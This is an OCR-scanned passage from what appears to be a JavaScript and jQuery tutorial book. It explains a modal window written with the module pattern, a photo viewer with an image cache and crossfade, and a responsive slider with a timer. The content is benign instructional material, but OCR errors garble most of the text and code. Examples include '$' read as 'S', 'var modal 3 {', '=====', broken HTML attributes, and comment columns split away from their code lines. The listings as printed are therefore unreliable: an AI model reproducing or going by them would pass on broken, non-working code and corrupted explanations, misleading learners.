finished loading or they can be 
triggered by the user interacting 
with the page. 
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A design pattern is a term 
programmers use to describe a 
common approach to solving a 
range of programming tasks. 

This script uses the module 
pattern. It is a popular way to 
write code that contains both 

public and private logic. 


<div classw'^odal J, > 


Users of this script only need to 
know how the open() method 
works because: 

• close() is called by an event 
listener when the user dicks 
on the close button. 

• center() is called by the 
open{) method and also by 
an event listener if the user 
resizes the window. 


Once the script has been 
included in the page, other 
scripts can use its public 
methods: open(), close(), or 
center (). But users do not need 
to access the variables that 
create the HTML, so they remain 
private (on p5G5 the private 
code is shown on green). 


When you call the open{) 
method, you specify the content 
that you want the modal window 
to contain as a parameter (you 
can also specify its width and 
height if you want). 

In the diagram, you can see that 
the script adds the content to the 
page inside <dt v> elements. 


Using modules to build parts of 

an application has benefits: 

• it helps organize your code. 

• You can test and reuse the 
individual parts of the app. 

• It creates scope, preventing 
variable /method names 
clashing with other scripts. 


This modal window script 
creates an object (called modal ), 
which, in turn, provides three 
new methods you can use to 
create modal windows: 

openf) opens a modal window 
close() closes the window 
center () centers it on the page 

Another script would be used 
to call the open() method and 
specify what content should 
appear in the modal window. 


div. modal acts as a frame 
around the modal window. 

di v .modal -content acts as a 
container for the content being 
added to the page. 

button .modal -cl ose allows the 
user to close the modal window. 


<df v cl ass= n moda1 -content 1 ^ 


O </div> 


</div> 

<button role=' , button ,i cla$s="niodal~do$e 3 , >clo$e</button> 
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CREATING MODALS 


The modal script needs to do two things: 

1. Create the HTML for the modal window 
2* Return the modal object itself, which consists of 
the open(), close{), and center() methods 

Including the script In the HTML page does not have 
any visible effect (rather like including jQuery in your 
page does not affect the appearance of the page). 

But it does allow any other script you write to use the 
functionality of the modal object and call its open{) 
method to create a modal window (just like including 
jQuery script includes the jQuery object in your 
page and allows you to use its methods), 

This means that people who use the script only need 
to know how to call the open{) method and tell it 
what they want to appear in the modal window. 


in the example on the right, the modal window is 
called by a script called modal -i nit. j$, You will see 
how to create the modal object and its methods on 
the next double page spread, but for now consider 
that including this script is the equivalent of adding 
the following to your own script, it creates an object 
called modal and adds three methods to the object: 

var modal 3 { 
center: functionf) | 

// Code for centerf) goes here 

h 

open: function (settings) { 

// Code for open() goes here 

I, 

close: function{) { 

// Code for close() goes here 

1 

}; 


The modal -i ni t . js file removes the share content 
from the HTML page. It then adds an event handler 
to call the modal object's open() method to open 
a modal window containing the content it just 
removed from the page, i nit is short for initialize 
and is commonly used in the name of files and 
functions that set up a page or other part of a script. 

O Create variable: 

{content: part of page to appear in modal 

I 

Hide that part of page by detaching it 

1 

Q Event; cl i ck on share button 

i 

ANONYMOUS FUNCTION: 

Show content in modal window 

Cali open () method of modal object, then 
Q pass it the {content variable as a parameter, 
along with the modal’s width and height 


1, First the script gets the contents of the element 
that has an id attribute whose value is share- 
options. Note how the jQuery . detach () method 
removes this content from the page. 

2, Next an event handler is set to respond to when 
the user clicks on the share button. When they do, 
an anonymous function is run, 

3, The anonymous function uses the open() method 
of the modal object. It takes parameters in the form 
of an object literal: 

* content: the content to be shown in the modal 
window. Here it is the content of the element 
whose i d attribute has a value of share-opti ons, 

* wi dth: the width of the modal window. 

* height: the height of the modal window. 

Step 1 uses the . detach ( ) method because it keeps 
the elements and event handlers in memory so they 
can be used again later. jQuery also has a , remove ( ) 
method but it removes the items completely. 
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USING THE MODAL SCRIPT 


HTML 


(T) <div id="share-opti ons"> 

<! — This is where the message and sharing buttons go 
</di v> 

<script s rc="js/j query. js"></scri pt> 

© <script src=" js/modal -window. js"></script> 

© <script src="js/modal-init.js"></script> 

</body> 

</html> 


Cl 1/modal -wi ndow. html 


--> 


In the HTML above, you should note three things; 

1. A <di v> that contains the sharing options. 

2. A link to the script that creates the modal object 
(modal -window, j$). 

3. A link to the script that will open a modal window 
using the modal object (modal -i nit. js), using ft 
to display the sharing options. 


JAVASCRIPT 


The modal - ini file below opens the modal 
window. Note how the openQ method is passed 
three pieces of information in JSON format: 
i) content for modal (required) 
if) wi dth of modal (optional - overrides default) 
fir) height of modal (optional - overrides default) 


cll/js/modal-init, js 


{functionQ { 

( T ) var $content = $( 1 #share-options 1 ) * detach () ; // Remove modal from page 

® $ ( 1 #share 1 > .ont'click 1 , function(} { // Click handler to open modal 

© modal .open({content; Scontent, width:340* hei ght : 300)) ; 

] h © © © 

}()); 


The z-i ndex of the modal window must be very high These styles ensure the modal window sits on top of 
so that it appears on top of any other content, the page (there are more styles in the full example). 


css 


modal { 

position: absolute; 
2 -index: 1000; } 


cll/css/tnodal -wi ndow.css 
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MODAL OBJECT 


Create HTML for modal window: 
$wi ndow: the wi ndow object 

O $modah modal window element 
Icontent: modal window content 
$close: close button 
Add $content and fclose to $modal 


O 


Event: cl ick on close button 



Below are the steps for creating the modal object. 

Its methods are used to create modal windows, 

I. The modal object is declared. The methods of 
this object are created by an immediately Involved 
Function Expression or IlFE (see p97), (This step 
is not shown in the flowchart.) 

2* Store the current wi ndow object in a jQuery 
selection, then create the three HTML elements 
needed for the modal window. Assemble the modal 
window and store it in Jmodal . 

3. Add an event handler to the close button which 
calls the modal object's close () method. 

4. Following the return keyword, there is a code 
block in curly braces, it creates three public methods 
of the modal object. Please note: This step is not 
shown in the flowchart. 

5, The center ( ) method creates two variables: 

i) top: takes the height of the browser window and 
subtracts the height of the modal window. This 
number is divided by two, giving the distance of the 
modal from the top of the browser window. 

ii) left: takes the width of the browser window and 
subtracts the width of modal window. This number 
is divided by two, giving the distance of the modal 
from the left of the browser window. 

6, The jQuery <css () method uses these variables 
to position the modal in the center of the page. 

7. open { } takes an object as a parameter; it is 
referred to as settings (the data for this object was 
shown on the previous page), 

8, Any existing content is cleared from the modal, 
and the content property of the settings object is 
added to the HTML created in steps 1 and 2, 

9* The width and height of the modal are set using 
values from the setti ngs object, If none were given, 
auto is used. Then the modal is added to the page 
using the appendTo() method. 

10. center {) is used to center the modal window. 

II, If the window is resized, call center() again. 

12. close() empties the modal, detaches the HTML 
from the page, and removes any event handlers. 
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In the code below, the lines that are highlighted in 
green are considered private. These lines of code 
are only used within the object. {This code cannot be 
accessed directly from outside the object.) 


When this script has been included in a page, the 
center (}, openO, and close{) methods in steps 
5-12 are available on the modal object for other 
scripts to use. They are referred to as public. 


JAVASCRIPT 


c 1 1 /Js/modal - wi ndow . j s 


© var modal = (function() { // Declare modal object 

var Swindow = ${window); 

var Smodal = $('<div cl ass="moda1 "/>'); // Create markup for modal 

var Scontent = $(‘<div cl as s= “modal -content"/>' ); 

var Sclose = $('<button role=“ button’ 1 class="modal-close">close</button> 1 ) ; 


©■ 


L $modal .append (Scontent, Sclose); 


// Add close button to modal 



Sclose. on(’click' , function(e) { 
e.preventDefault() ; 
modal .close(); 

}); 


// If user clicks on close 
// Prevent link behavior 
// Close the modal window 


©■ 

© 


d> 

® 

® 


return { // Add code to modal 

center: functionQ { // Define center() method 

// Calculate distance from top and left of window to center the modal 
var top = Math.max($window.height() - $modal .outerHeightQ , 0) / 2; 
var left = Math.max($window.width() - Smodal .outerWidth{), 0) / Z; 
$modal.css({ // Set CSS for the modal 

top: top + Swindow. scrol ITopO , // Center vertically 

left: left + Swindow. scroll Left () // Center horizontally 

}); 

}, 


open: function (settings) { 

Scontent. empty() .append(settings. content) ; 

Smodal ,css({ 

width: settings. width || ’auto’, 
height: settings. height || ‘auto 1 
}) .appendTo('body' ); 

modal .centerf); 

$ (window) ,on( ‘resize 1 , modal .center) ; 

}, 

close: function() { 

Scontent. empty () ; 

Smodal .detach(); 

$ (window) .off ('resize' , modal .center) ; 

) 


// Define open{) method 
// Set new content of modal 

// Set modal dimensions 
// Set width 
// Set height 
// Add it to the page 

// Call center () method 
// Call it if window resized 

// Define close() method 
// Remove content from modal 
// Remove modal from page 
// Remove event handler 


i; 

}()); 
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PHOTO VIEWER 


The photo viewer is an example of an image gallery. When you click on 
thumbnail, the main photograph is replaced with a new image. 


In this example, you can see 
one main image with three 
thumbnails underneath it. 

The HTML for the photo viewer 
consists of: 

• One large <di v> element that 
will hold the main picture. 

The images that sit in the 
<di v> are centered and 
scaled down if necessary to 
fit within the allocated area. 

• A second <div> element that 
holds a set of thumbnails that 
show the other images you 
can view. These thumbnails 
sit inside links. The href 
attribute on those links point 
to the larger versions of their 
images. 



Other gallery scripts include GalJeria, Gallerific, and TNBGallery. 
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FIRST PHOTO SELECTED 



PHOTO 1 
SHOWING 


THUMB I THUMB I THUMB 


THUMBNAIL 1 HIGHLIGHTED 


SECOND PHOTO SELECTED 



PHOTO 2 
SHOWING 


THUMB I THUMB I THUMB 
1 I 2 I 3 


THUMBNAIL 2 HIGHLIGHTED 


When you click on a thumbnail, 
an event listener triggers an 
anonymous function that: 

1. Looks at the vafue of the href 
attribute (which points to the 
large image) 

2, Creates a new <img> element 
to hold that image 

3. Makes it invisible 

4, Adds it to the big <di v> 
element 

Once the image has loaded, a 
function cal fed cross fade {) 
is used to fade between the 
existing image and the new one 
that has been requested. 
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USING THE PHOTO VIEWER 


In order to use the photo viewer, 
you create a <di v> element to 
hold the main image. It is empty, 
and its i d attribute has a value of 
photo-viewer. 


The thumbnails sit in another 
<di v>, Each one is in an <a> 
element with three attributes: 
• href points to the larger 
version of the image 


• cl ass always has a value of 
thumb and the current main 
image has a value of acti ve 

• title describes the image (it 
will be used for al t text) 


cll/photo-vi ewer.html 


HTML 


<div id="photo-viewer'*></div> 

<div id="thumbnails ,l > 

<a href= ,r img/photo-l.jpg" cl ass= “thumb active" tit1e="El derberry mallow"> 
<img src a "img/thumb-l Jpg" alf=" El derberry Marshmallow" /></ a> 

<a href 12 " img/photo-2, jpg" title-' Rose Marshmallow" class="thumb"> 

<img src="img/thumb-2. jpg" alt="Rose Marshmallow" /></a> 

<a href-" img/photo-3. jpg" title="Chrysanthemum Marshmallow" class="thumb"> 
<1mg src="img/thumb-3. jpg" al t= ,k Chrysanthemum Marshmallow" /></a> 

</div> 


The script comes before the 
closing </body> tag. As you will 
see, it simulates the user clicking 
on the first thumbnail. 

The <di v> that holds the main 
picture uses relative positioning. 
This removes the element from 
normal flow, so a height for the 
viewer must be specified. 

While images are loading, a 
class of is-loading is added 
to them (It displays an animated 
loading gif). When the image has 
loaded, is-loading is removed. 

If the images are larger than 
the viewer the max-wi dth and 
max-height properties will scale 
them to fit. To center the image 
within the viewer a mix of CSS 
and JavaScript will be used. See 
p511 for detailed explanation. 


cll/css/photo-vi ewer. css 

#photo-viewer { 
position: relative; 
height: 30Gpx; 
overflow: hidden;} 

#photo- vi ewer, i $-1 oadi ng : after ( 
content: url {images/load. gi f) ; 
position: absol ute; 
top: 0; 
right: 0;} 

#photo-viewer img { 
position: absolute; 
max-width: 100%; 
max-height : 100%; 
top: 50%; 
left: 50%;} 

a, active { 
opacity: 0-3;} 


css 
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ASYNCHRONOUS LOADING 

& CACHING IMAGES 


This script (shown on the next page) shows two interesting techniques: 

1. Dealing with asynchronous loading of content 

2. Creating a custom cache object 


SHOWING THE RIGHT IMAGE WHEN 
LOADING IMAGES ASYNCHRONOUSLY 

PROBLEM: 

The larger images are only loaded into the page 
when the user dicks on a thumbnail, and the script 
warts for the /mage to fully load before displaying it. 

Because larger images take longer to load, if a user 
dicks on two different images in quick succession: 

1. The second image could load faster than the first 
one and be displayed in the browser. 

2, it would be replaced by the first image the user 
clicked on when that image had loaded. This could 
make users think the wrong image has loaded. 

SOLUTION: 

When the user clicks on a thumbnail: 

• A function-level variable called src stores the 
path to this image. 

• A global variable called request is also updated 
with the path to this image, 

• An event handler is set to call an anonymous 
function when this image has loaded. 

When the image loads, the event handler checks if 
the src variable (which holds the path to this image) 
matches the request variable. If the user had clicked 
on another image since the one that just loaded, the 
request variable would no longer match the src 
variable and the image should not be shown. 


CACHING IMAGES THAT HAVE 
ALREADY LOADED IN THE BROWSER 

PROBLEM: 

When the user requests a big image (by clicking on 
the thumbnail), a new <img> element is created and 
added to the frame. 

If the user goes back to look at an image they have 
already selected, you do not want to create a new 
element and load the image all over again. 


SOLUTION: 

A simple object is created, and it is called cache. 
Every time a new <img> element is created, it will be 
added to the cache object. 

That way, each time an image is requested, the code 
can check If the corresponding <img> element is 
already in the cache (rather than creating it again). 
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PHOTO VIEWER SCRIPT (1) 


This script introduces some new concepts, so it will 
be spread over four pages. On these two pages you 
see the global variables and crossfade (} function. 


Store In variables: 

request: last image that was requested 

O (current: image currently being shown 
cache: object to remember loaded Images 
(frame: container for image 
(thumbs: container for thumbnails 


© 

© 


© 

© 

o 


FUNCTION: crossfade{$img) 

Fades to new image (passed as a parameter) 


O ls there a 

current image? 


Stop animation 
& fade out old 
image 

) 


Center new image using CSS 
I 

Fade in new image 

I 

Store new image in (current 


1. A set of global variables Is created, They can 
be used throughout the script - both In the 
crossfade () function (on this page) and the event 
handlers (on p512). 

2. The crossfade () function will be called when the 
user has clicked on a thumbnail. It is used to fade 
between the old image and the new one, 

3. An 1 f statement checks to see if there is an image 
loaded at the moment If there is, two things happen: 
the ,stop() method will stop any current animation 
and then .fade0ut{) will fade the Image out. 

4. To center the Image in the viewer element, you 
set two CSS properties on the image, Combined 
with the CSS rules you saw on p508, these CSS 
properties will center the image in its container, 

(See the diagrams on the bottom of pSVL) 

i) margi nl eft: gets the width of the image using the 
-width () method, divides it by two, and uses that 
number as a negative margin. 

ii) margi nTop: gets the height of the image, using the 
* height ( ) method, divides it by two, and makes that 
number a negative margin. 

5. If the new image is currently being animated, the 
animation is stopped and the image is faded in. 

6. Finally, the new image becomes the current image 
and is stored in the (current variable. 


THE CACHE OBJECT 

The idea of a cache object might sound complicated, 
but all objects are just sets of key/value pairs. You 
can see what the cache object might look like on 
the right. When an image is requested by clicking 
on a new thumbnail, a new property is added to the 
cache object: 

• The key added to the cache object is the path to 
the image (below this is referred to 3$ src). 

its value is another object with two properties. 

• src.$img holds a reference to a j Query object that 
contains the newly created <img> element. 

• src . i sLoadi ng is a property indicating whether or 
not it is currently loading (its value is a Boolean). 


var cache s { 

w cll/img/photo-l-jpg": { 
"$img' f : j Query object , 
"i sLoadi ng" : false 
h 

* cl 1/1 mg/photo-2. jpg": { 
"$img H : j Query object, 
"i sLoadi ng M : false 

>. 

B c 11/i mg/photo-3 -jpg'* : { 
tv $img"; j Query object y 
w i sLoadi ng": false 


) 
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JAVASCRIPT 


ell/js/photo-vlewer.js 


d> 


var request; 

var $current; 

var cache = { } ; 

var $frame = $( '#photo- viewer'); 

var $thumbs = $('. thumb'); 


(D function crossfade ($img) { 



if ($current) { 

$cur rent. stop {) .fadeOut{ 'slow' ) ; 

} 


// Latest image to be requested 
// Image currently being shown 
// Cache object 
// Container for image 
// Container for image 

// Function to fade between images 
// Pass in new image as parameter 
// If there is currently an image showing 
// Stop animation and fade it out 



$img.css({ 

marginLeft: -$img.width() / 2, 
marginTop: -$img.height() / 2 
}); 


// Set the CSS margins for the image 
// Negative margin of half image's width 
// Negative margin of half image's height 


© Simg.stopQ .fadeTo( ' slow' , 1); 

© Scurrent = $img; 

} 


// Stop animation on new image & fade in 
// New image becomes current image 


CENTERING THE IMAGE 



i) Centering the image involves 
three steps. In the style sheet, 
absolute positioning is used to 
place it in the top-left corner of 
the containing element. 



ii) In the style sheet, the Image is 
moved down and right by 50% of 
the container’s width and height: 
width: SOOpx + 2 = 400px 
height: 500px - 250 px 


iii) in the script, negative margins 
move the image up and left by 
half the image's width and height: 
width: 500 px 2 = 250 px 
height: 400px * 2 = 200 px 


CONTENT PANELS 511 





PHOTO VIEWER SCRIPT (2) 


© Event: cl i ck on thumbnail 



1. The thumbnails are wrapped in links* Every time 
users dick on one, the anonymous function will run* 

2. Three variables are created: 

i> $img will be used to create new <i mg> elements 
that will hold the larger images when they load, 

ii) src (a function-level variable) holds the path to 
the new image (it was in the href attribute of the link). 

iii) request (a global variable) holds the same path* 

3. The link is prevented from loading the image. 

4. The active class is removed from afl the thumbs 
and is added to the thumb that was clicked on. 

5. If the image is in the cache object and it has 
finished loading, the script calls crossfade ( ) . 

6. if the image has not yet loaded, the script creates 
anew <img> element. 

7. It is added to the cache, isLoading is set to true, 

8. At this point the image has not loaded yet (only 
an empty <i mg> element was created). When the 
image loads, the 1 oad event triggers a function 
(which needs to be written before the image loads). 

9. First, the function hides the image that just loaded, 
ID. It then removes the i s-1 oadi ng class from the 
frame and adds the new image to the frame, 

IT In the cache object, isLoading is set to false (as 
it will have loaded when this function runs). 

12* An if statement checks if the image that just 
loaded is the one the user last requested. To see how 
this is done, look back at step 2 again: 

• The src variable holds the path to the image that 
just loaded. It has function-level scope, 

• The request variable is updated each time the 
user clicks on an image. It has global scope. 

So, if the user has clicked on an image since this one, 
the request and src variables will not be the same 
and nothing should be done. If they do match, then: 
crossfade{) is called to show the Image. 

13. Having set all of this in place, it is time to load the 
image. The is- loading class is added to the frame. 

14. Finally, by adding a value to the src attribute on 
the image, the image will start to load* Its alt text is 
retrieved from the ti tl e attribute on the Jink. 

15* The last line of the script simulates the user 
clicking on the first thumbnail. This will load the first 
image into the viewer when the script first runs. 
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JAVASCRIPT 


cll/js/photo-viewer. js 


© $ (document) .on (' cl i ck * , '.thumb', function(e){ // When a thumb is clicked on 


< 2 > 


var $img; 
var src = this. href; 
request = src; 


(D e.preventDefaultf); 






© 

®- 


® 

© 


© 

©- 


$thumbs . removed ass C ' acti ve ' ) ; 
${this) .addClass ( ' acti ve' ) ; 

if (cache. hasdwnProperty (src)) ( 


// Create local variable called $img 
// Store path to image 
// Store path again in request 

// Stop default link behavior 

// Remove active from all thumbs 
// Add active to clicked thumb 

// If cache contains this image 


if (cache [src] .isloading ===== false) { // And if isLoading is false 


} 


crossfade(cache[src] .$img) ; 


} else { 

$inrg = $('<img/>'); 
cache [src] = { 

$img: $img, 
isLoading: true 

}; 


// Call crossfadeO function 

// Otherwise it is not in cache 
// Store empty <img/> element in $img 
// Store this image in cache 
// Add the path to the image 
// Set isLoading property to true 


// Next few lines will run when image has loaded but are prepared first 
Simg.on ( ' load ' , functionQ { // When image has loaded 

$img.hide() ; // Hide i t 

// Remove is-loading class from frame & append new image to it 
$frame. removed ass (' is-loading') .append($img) ; 
cache[src] .isloading = false; // Update isLoading in cache 

// If still most recently requested image" then 
if (request === src) { 


crossfade(Simg) ; 

} 

1 ); 

$frame.addClass( 1 is-loading') ; 

$img,attr({ 

'src': src, 

'alt' : this. title j | 11 

}); 


// Call crossfadeO function 
// Solves asynchronous loading issue 


// Add is-loading class to frame 

// Set attributes on <img> element 
// Add src attribute to load image 
// Add title if one was given in link 


}); 

// Last line runs once (when rest of script has loaded) to show the first image 
$(' .thumb') .eq(0) .click(); // Simulate click on first thumbnail 
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RESPONSIVE SLIDER 


A slider positions a series of items next to each other, but only shows one 
at a time. The images then slide from one to the next. 


This slider loads several panels, 
but only shows one at a time. It 
also provides buttons that allow 
users to navigate between each 
of the slides and a timer to move 
them automatically after a set 
interval. 

!n the HTML, the entire slider 
is contained within a <div> 
element whose cl ass attribute 
has value of s 1 i der- v i ewer. In 
turn, the slider needs two further 
<di v> elements: 



• A container for the slides. Other slider scripts include Unslider, Anything Slider, Mivo Slider, and 

Its class attribute has a value WOW Slider. Sliders are also included EnjQuery Ul and Bootstrap, 

of slide-group. Inside this 
container, each individual 
slide Is in another <di v> 
element. 

• A container for the buttons, 

Its class attribute has a 
value of slide-buttons. The 
buttons are added by the 
script. 

If the HTML contains markup for 
more than one slider, the script 
will automatically transform alt 
of them into separate sliders. 
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When the page first loads, the CSS hides all of the 
slides, which takes them out of norma! flow. 

The CSS then sets the di spl ay property of the first 
slide bl ock to make it visible. 

The script then goes through each slide and: 

• Assigns an index number to that slide 

• Adds a button for it under the slide group 

For example, if there are four slides, when the page 
first loads, the first slide will be shown by default, 
and four buttons will be added underneath it. 



The index numbers allow the script to identify 
each individual slide. To keep track of which slide 
is currently being shown, the script uses a variable 
called current Index (holding the index number of 
the current slide). When the page loads, this is 0, so 
it shows the first slide. It also needs to know which 
slide it is moving to, which is stored in a variable 
called newSl ide. 


When it comes to moving between the slides (and 
creating the sliding effect), if the index number of 
the new slide is higher than the index number of the 
current slide, then the new slide is placed to the right 
of the group, As the visible slide Is animated to the 
left, the new slide automatically starts to come Into 
view, taking its place, 



If the index number of the new slide is Jowerthan the 
current index, then the new slide Is placed to the left 
of the current slide, and as it is animated to the right, 
the new slide starts to come into view. 



After the animation, the hidden slides are placed 
behind the one that is currently active. 
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USING THE SLIDER 


As long as you include the script within your page, 
any HTML that uses the structure shown here will 
get transformed into a slider 


There could be several sliders on the page and each 
one will be transformed using the same script that 
you see on the next double-page spread. 


cll/sl ider.html 

<div class= t, s]ide-viewer tl > 
<div class="slide-group ,t > 


<di v 

cl 

a$s= 

"slide 

si 

ide- 


- si 

ide 

<di v 

cl 

ass- 

"slide 

si 

ide- 

.2*><!- 

■ si 

ide 

<di v 

cl 

a$s s 

"slide 

si 

ide- 


- si 

ide 

<di v 

cl 

ass- 

"slide 

si 

ide- 


■ si 

ide 

</di v> 










</di v> 

<di v class-"sl ide“buttons f, ></dtv> 


HTML 


content --x/div> 
content --x/div> 
content — x/div> 
content ~x/div> 


The width of the slide- viewer is not fixed, so it 
works in a responsive design. But a height does need 
to be specified because the slides have an absolute 
position (this removes them from the document flow 
and without it they could only be Ipx tail). 

cll/css/$lider.css 

slide-viewer { 
position; relative; 
overflow: hidden; 
height: 300px ; } 

.slide-group { 
width: 100%; 
height: 100%; 
position: relative;} 

.slide { 
width: 100%; 
height: 100%; 
display: none; 
position: absolute;} 

.slide:first-child { 
display: block;) 


Each slide is shown at the same width and height as 
the viewer. If the content of a slide is larger than the 
viewer, the overflow property on the slide- viewer 
hides the parts of the slides that extend beyond the 
frame. If it is smaller it is positioned to the top-left. 


CSS 
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SLIDER SCRIPT OVERVIEW 


A jQuery selector finds the sliders within the HTML markup, 

An anonymous function then runs for each one to create the slider. 
There are four key parts to the function. 


1: SETUP 

Each slider needs some variables, they are in 
function-level scope so they: 

• Can have different values for each slider 

• Do not conflict with variables outside of the script 


2: CHANGING SLIDE: mOve() 

move{) is used to move from one slide to another, 
and to update the buttons that indicate which slide 
is currently being shown, it is called when the user 
clicks on a button, and by the ad vance{ ) function. 


3: A TIMER TO SHOW THE NEXT SLIDE 
AFTER 4 SECONDS: advance() 

A timer will call move () after 4 seconds. 

To create a timer, JavaScript's wi ndow object has a 
set! i meout ( ) method, ft executes a function after a 
number of milliseconds. The timer is often assigned 
to a variable, and it uses the following syntax: 

var timeout = set! i meout {function, delay ) ; 

• timeout is a variable name that will be used to 
identify the timer. 

• function can be a named function or an 
anonymous function. 

• delay is the number of milliseconds before the 
function should run, 

To stop the timer, call cl earl i meout ( ) . It takes one 
parameter: the variable used to identify the timer: 

cl earTf meout (ti meout) ; 


4: PROCESSING EACH OF THE SLIDES 
THAT APPEAR WITHIN A SLIDER 

The code loops through each of the slides to: 

• Create the slider 

* Add a button for each slide with an event handler 
that calls the move() function when users dicks it 
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SLIDER SCRIPT 


o 


0 

0 

o 

o 


© 


© 

© 

o 

0 

o 


LOOP THROUGH EACH SLIDER 



GOTO NEXT SLIDER 


1* There may be several sliders on a page, so the 
script starts by looking for every element whose 
cl ass attribute has a value of s H der. For each one, 
an anonymous function is run to process that slider. 
2. Variables are created to hold; 

i) The current slider 

ii) The element that wraps around the slides 
rti) All of the slides in this slider 

iv) An array of buttons (one for each slide) 

v) The current slide 

vi) The timer 

3* The move() function appears next; see p520. 
Please note: This is not shown in the flowchart. 

4. The advance ( ) function creates the timer. 

5. It starts by clearing the current timer. A new timer 
is set and when the time has elapsed it will run an 
anonymous function. 

6. An if statement checks whether or not the 
current slide is the last one. 

If it is not the last slide then it calls move() with a 
parameter that tells it to go to the next slide, 
Otherwise it tells move() to go to the first sfide. 

7. Each slide is processed by an anonymous function. 

8. A <button> element is created for each slide. 

9. If the index number of that slide is the same as the 
number held in the currentlndex variable, then a 
class of acti ve is added to that button. 

10. An event handler is added to each button. When 
clicked it calls the move ( ) function. The slide's index 
number indicates which slide to move to. 

11. The buttons are then added to the button 
container, and to the array of buttons. 

This array is used by the move () function to indicate 
which slide is currently being shown. 

12. advance ( ) Is called to start the timer. 
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JAVASCRIPT 


cll/js/sllder.js 


(T) $(' .slider' ) .each(function() { 


©- 


// For every si i der 


© 

d> 

©- 




var $this = $(this), // Get the current slider 

var $group = $t hi s .find ( ' .slide-group') , // Get the slide-group (container) 

var $s 1 i des = $this.find{ ' .slide' ) , // jQuery object to hold all slides 

var buttonArray = [] , // Create array to hold nav buttons 

var currentlndex = 0, // Index number of current slide 

var timeout; // Used to store the timer 


(|) // moveO - The function to move the slides goes here (see next page) 


function advanceQ { 
clearTimeout(timeout) ; 

// Start timer to run an anonymous 
timeout = setTimeout(function{) { 
if (currentlndex < ($sl ides .length 
move (currentlndex + 1); 

} else { 
move(O) ; 

} 

b 4000); 


// Sets a timer between slides 
// Clear timer stored in timeout 
function every 4 seconds 
// 

1}) { // If not the last slide 

// Move to next slide 
// Otherwise 

// Move to the first slide 
// Milliseconds timer will wait 


} 


}); 


*each($slides s function (index) { 
// Create a button element for 
var $button = $('<button type 13 ' 
if (index === currentlndex) { 
Sbutton.addCl ass( 3 active 1 ) ; 

) 

$button.on ('click 1 , function () { 
move (index) ; 

}} .appendfo( ' .si i de-buttons 1 ) ; 
buttonArray .push ($button) ■ 


the button 

button 11 cl ass=“sl ide-btn 3l >&bul 1 ;</button>‘ ) ; 
// If index is the current item 
// Add the active class 

// Create event handler for the button 
// It calls the move() function 
// Add to the buttons holder 
// Add it to the button array 


advanced ; 




PROBLEM: GETTING THE RIGHT GAP 
BETWEEN SLIDES USING A TIMER 

Each slide should show for four seconds (before the 
timer moves it on to the next slide). But if the user 
dicks a button after two seconds, then the new slide 
might not show for four seconds because the timer 
is already counting down. 


SOLUTION: RESET THE TIMER WHENEVER A 
BUTTON IS CLICKED 

The advance () function clears the timer before 
setting it off again. Every time the user clicks on a 
button the moved function (shown on the next two 
pages) it calls advance () to ensure the new slide is 
shown for four seconds. 
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SLIDER MOVEQ FUNCTION 


e 

© 


o 


© 

© 

© 

© 

© 

0 


FUNCTION: move(index) 

Slides to the image specified 

Create variables: 

animateLeft: animate from Left/right 
si ideLeft: position new slide to left/right 


t 


9 

L 


Call advance() function 


Is slider moving 
OR is new image 
current image? 


‘h 

Update buttons to show which is active 


is index number 
of new image > 
current image? 


Set variable: 

si ideLeft; position 
new slide to left 
i 

Set variable: 

animateLeft: 
animate current 
slide to right 

L 


Set variable; 

si ideLeft: position 
new slide to right 

I 

Set variable: 
animateLeft: 
animate current 
slide to left 

j 


Update CSS of new slide to position it 
to right or left of current slide 

I 

Animate current slide to position set in 
variable above (this reveals new slide) 

Hide slide that Just moved out of view 

I 

Position new item (left property set to 0) 

I 

Reposition all items (left property set to 0) 

< 


Set $current Index to index no. of new slide 


1. The move() function will create the animated 
sliding movement between two slides. When it is 
called, it needs to be told which slide to move to. 

2, Two variables are created that are used to control 
whether the slider is moving to the left or right. 

3. advance () is called to reset the timer, 

4, The script checks if the slider is currently 
animating or if the user selected the current slide. In 
either case, nothing should be done, and the return 
statement stops the rest of the code from running. 

5, References to each of the buttons were stored in 
an array in step 11 of the script on the previous page. 
The array is used to update which button is active. 

6. If the new item has a higher index number, then 
the slider wifi need to move from right to left. If the 
Item has a lower index number, the slider will need 
to move from left to right. These variable values are 
set first and are then used in step 7. 

si ideLeft positions the new slide in relation to the 
current slide. (100% sits the new slide to the right of 
It and -100% sits the new slide to the left of it.) 

animateLeft indicates whether the current slide 
should move to the left or the right, letting the new 
slide take its place. (-100% moves the current slide to 
the left 100% moves the current slide to the right.) 

7, The new slide is positioned to the right or the left 
of the current slide using the value in the si ideLeft 
variable and its di spl ay property is set to block so 
that it becomes visible. That new slide is identified 
using newlndex, which was passed into the function. 

8. The current slide is then moved to the left or right 
using the value stored In the animateLeft variable. 
That slide is selected using the currentlndex 
variable, which was defined at the start of the script. 
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JAVASCRIPT 


cll/js/slider.js 


// Setup of the script shown on the previous page 


© 


© 


®[ 


function move(newlndex) { 
var animateLeft, slideLeft; 

advance() ; 


// Creates the slide from old to new one 
// Declare variables 

// When slide moves, call advanceQ again 


// If current slide is showing or a slide is animating, then do nothing 
if ($group.is( ' :animated') |] currentlndex === newlndex) { 
return ; 

} 

buttonArray [currentlndex] .removed ass ( 'active' ) ; // Remove class from item 
buttonArray [newlndex] .addClass( 'active') ; // Add class to new item 


if (newlndex > currentlndex) { // 

slideLeft = '100%'; // 

animateLeft = '-100%’; // 

©j ) else { // 

slideLeft - , -100% 1 ; // 

animateLeft = 1 100%' ; // 


} 

// Position new slide to left (if 1 
(?) $sl i des.eq(newlndex) .css{ {left: si 

( s ) $group.aniinate{ {left: animateLeft} 

(?) $sl ides.eqfcurrentlndex) ,css( {di 

® $sl ides .eq{ newlndex) .css ( {left: 

® $group,css{ {left: 0 } ); 

© currentlndex = newlndex; 

)h 


If new item > current 

Sit the new slide to the right 

Animate the current group to the left 

Otherwise 

Sit the new slide to the left 
Animate the current group to the right 

ess} or right (if more) of current 
ideLeft, display: ‘block’} ); 

, function() { // Animate slides and 

splay: 'none'} ); // Hide previous slide 
0} ); // Set position of the new item 

// Set position of group of slides 
// Set currentlndex to new image 


// Handling the slides shown on p5 19 


Once the slide has finished animating, an 
anonymous function performs housekeeping tasks: 

9, The slide that was the currentlndex is hidden. 

10* The position of the left-hand side of the new slide 
Is set to 0 (left-aiigning it). 

11. The position of all of the other slides Is set so the 
left-hand side is 0 (left-aligning them). 


12. At this point the new slide will be visible r and 
the transition is complete, so it Is time to update the 
currentlndex variable to hold the index number 
of the slide that has just been shown, This is easily 
done by giving it the value that was stored in the 
newlndex variable. 

Now that this function has been defined, as you saw 
on the p519, the code creates a timer and goes 
through each slide adding a button and an event 
